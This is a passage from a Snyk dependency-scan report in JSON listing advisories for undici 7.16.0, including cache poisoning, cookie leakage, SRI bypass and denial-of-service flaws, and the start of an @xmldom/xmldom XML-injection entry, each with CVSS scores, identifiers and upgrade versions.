"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:20:00.379922Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:59:20.900855Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `interceptors.decompress()` interceptor, which caps the decompression chain at 5 layers but does not bound the total decompressed output size. An attacker can exhaust memory and crash the process by delivering, from a malicious upstream, a small compressed response whose `Content-Encoding` expands to gigabytes. This requires the application to use the `interceptors.decompress()` interceptor against untrusted or compromised upstream servers.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-3xpg-4rpp-hhhm)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/2c7d7e1227043c644c4c32cfd1e276f4fd4fcb11)\n",
"epssDetails": {
"percentile": "0.32688",
"probability": "0.00412",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-84890"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-3xpg-4rpp-hhhm"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:14:55.288523Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:29Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:14:55.522204Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:00.379922Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-19635216",
"title": "Use of Persistent Cookies Containing Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2jfj-6hjv-fm6j",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/b6c5a00252c37da9dd2db9bead053bb843e1f988",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-09-05T05:59:00.933369Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"cvssV3BaseScore": 8.2,
"modificationTime": "2026-09-16T01:29:39.069329Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-01T02:01:15.611183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-10-01T02:01:15.611183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:59:00.933369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T01:29:39.069329Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Use of Persistent Cookies Containing Sensitive Information in the `interceptors.cache()` interceptor's shared-cache mode (`type: 'shared'`), which stores responses without excluding their `Set-Cookie` headers, contrary to RFC 6265 section 7.2. An attacker can have one user's cookie served to every subsequent caller matching the same cache key, or inject an upstream-supplied cookie into responses served to all callers, by getting a cacheable response that carries a `Set-Cookie` header cached. This requires the shared-cache mode, which is the default for the cache interceptor, with cacheable `Set-Cookie` responses from a multi-user or untrusted upstream, and private caches are unaffected.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by running the cache interceptor in private mode (`type: 'private'`), so per-user `Set-Cookie` responses are not shared across callers.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-2jfj-6hjv-fm6j)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/b6c5a00252c37da9dd2db9bead053bb843e1f988)\n",
"epssDetails": {
"percentile": "0.20774",
"probability": "0.00303",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-84933"
],
"CWE": [
"CWE-539"
],
"GHSA": [
"GHSA-2jfj-6hjv-fm6j"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:54:58.064511Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:34:08Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:54:58.303009Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-01T02:01:15.611183Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-19635222",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"haoxiang Yan"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-rx4f-c7p8-82vq",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/1858656ebb1e919311c1f31613dfd581b7214349",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-05T05:58:38.914417Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-16T01:29:39.197932Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-01T02:01:15.612788Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-01T02:01:15.612788Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T05:58:38.914417Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T01:29:39.197932Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in the `WebSocketStream` API, whose socket-close handler calls `abort()` on the writable stream while the application holds a writer lock and then discards the rejected promise that aborting a locked stream returns. An attacker can crash the process through Node's default `unhandledRejection` handling by tearing down a WebSocket connection without completing the close handshake, for example with a TCP reset, a proxy teardown, or a protocol-violating frame. This requires the application to use the `WebSocketStream` API while actively writing through a writer, and the server to be attacker-controlled or compromised.\n## Remediation\nUpgrade `undici` to version 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-rx4f-c7p8-82vq)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/1858656ebb1e919311c1f31613dfd581b7214349)\n",
"epssDetails": {
"percentile": "0.28218",
"probability": "0.00368",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85014"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-rx4f-c7p8-82vq"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T09:08:09.853296Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:35:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T09:08:10.024752Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-01T02:01:15.612788Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-21181009",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"Kushal Khemka",
"Mayank Jangid",
"bengsky13"
],
"semver": {
"vulnerable": [
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4w7w-5xrc-9h26",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/26c2bfb3def0b67241ce878e80657ed5d6c3efa8",
"title": "GitHub Commit"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-10-20T01:34:20.110335Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-10-16T06:34:18.379105Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.877149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.877149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:20.110335Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:18.379105Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Origin Validation Error via cross-origin redirect handling in `CacheHandler.onResponseStart`, where a redirect to a different origin can cause the final response to be stored under the original (trusted) origin's cache key. An attacker who controls a redirect target can poison the shared cache by serving a response that gets keyed against a URL the application trusts, enabling subsequent cache-served responses to deliver attacker-controlled content. Additionally, intermediate redirect hops carrying restrictive `Cache-Control` directives (such as `no-store` or `private`) are not honored, allowing those hops to be laundered into a cacheable entry under the original key.\n\n**Note:** This is only exploitable when an originless `Agent`, a shared `MemoryCacheStore` or `SqliteCacheStore`, and the composition `compose(redirect(), cache())` are all used.\n## Remediation\nUpgrade `undici` to version 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4w7w-5xrc-9h26)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/26c2bfb3def0b67241ce878e80657ed5d6c3efa8)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.03588",
"probability": "0.00148",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109829"
],
"CWE": [
"CWE-346"
],
"GHSA": [
"GHSA-4w7w-5xrc-9h26"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:14:15.451684Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:58.129000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:14:15.622241Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.877149Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "critical"
},
{
"id": "SNYK-JS-UNDICI-21181011",
"title": "Improper Handling of Case Sensitivity",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"credit": [
"Kushal Khemka",
"Mayank Jangid"
],
"semver": {
"vulnerable": [
">=7.15.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-f72v-6w45-q472",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:17.945002Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:24.393404Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.036594Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.036594Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:17.945002Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:24.393404Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the `fetch()` implementation's Subresource Integrity (SRI) verification logic, which matches the algorithm token against a lowercase-only set. A valid but non-lowercase token such as `SHA256-...` or `Sha256-...` is treated as unknown and skipped, causing undici to treat the integrity list as empty and accept the response unconditionally. An attacker who controls the response body can therefore deliver arbitrary bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error raised.\n\n**Note:** This is only exploitable when the application uses uppercase or mixed-case algorithm tokens (e.g., `SHA256`, `Sha384`) in its `integrity` metadata rather than the canonical lowercase forms.\n\n## Workaround\n\nUse lowercase algorithm tokens (`sha256`, `sha384`, `sha512`) in all `integrity` metadata passed to `fetch()`.\n## Remediation\nUpgrade `undici` to version 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-f72v-6w45-q472)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.15179",
"probability": "0.00250",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109841"
],
"CWE": [
"CWE-178"
],
"GHSA": [
"GHSA-f72v-6w45-q472"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:25.543912Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:55.577000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:25.706632Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.036594Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-21181017",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"haoxiang Yan"
],
"semver": {
"vulnerable": [
">=7.15.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-55wc-3pg8-jfw6",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:18.849873Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:48.450952Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.251949Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.251949Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:18.849873Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:48.450952Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception via the `DecompressHandler` in `lib/interceptor/decompress.js`, where an uncaught exception thrown by a downstream handler during `onResponseData` or `onResponseEnd` propagates unhandled rather than being converged into a per-request error. An attacker or a misbehaving downstream handler can trigger this condition to crash the request pipeline, causing a denial of service.\n## Remediation\nUpgrade `undici` to version 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-55wc-3pg8-jfw6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.15201",
"probability": "0.00250",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-87029"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-55wc-3pg8-jfw6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:54.262716Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:57:32.262000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:54.415042Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.251949Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-15869636",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P",
"credit": [
"Ali Firas"
],
"semver": {
"vulnerable": [
"<0.8.12",
">=0.9.0 <0.9.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.12",
"0.9.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-wh4c-j3r5-mjhp",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/2b852e836ab86dbbd6cbaf0537f584dd0b5ac184",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.12",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.9",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-07T21:31:03.384471Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:13:47.103287Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:13:47.103287Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-07T21:31:03.384471Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `XMLSerializer()` function. An attacker can manipulate the structure and integrity of generated XML documents by injecting attacker-controlled markup containing the CDATA terminator `]]>` through CDATA section content, which is not properly validated or sanitized during serialization. This can result in unauthorized XML elements or attributes being inserted, potentially leading to business logic manipulation or privilege escalation in downstream consumers.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.12, 0.9.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-wh4c-j3r5-mjhp)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/2b852e836ab86dbbd6cbaf0537f584dd0b5ac184)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.12)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.9)\n",
"epssDetails": {
"percentile": "0.42722",
"probability": "0.00536",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-34601"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-wh4c-j3r5-mjhp"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-01T10:58:07.934837Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-01T00:19:06Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
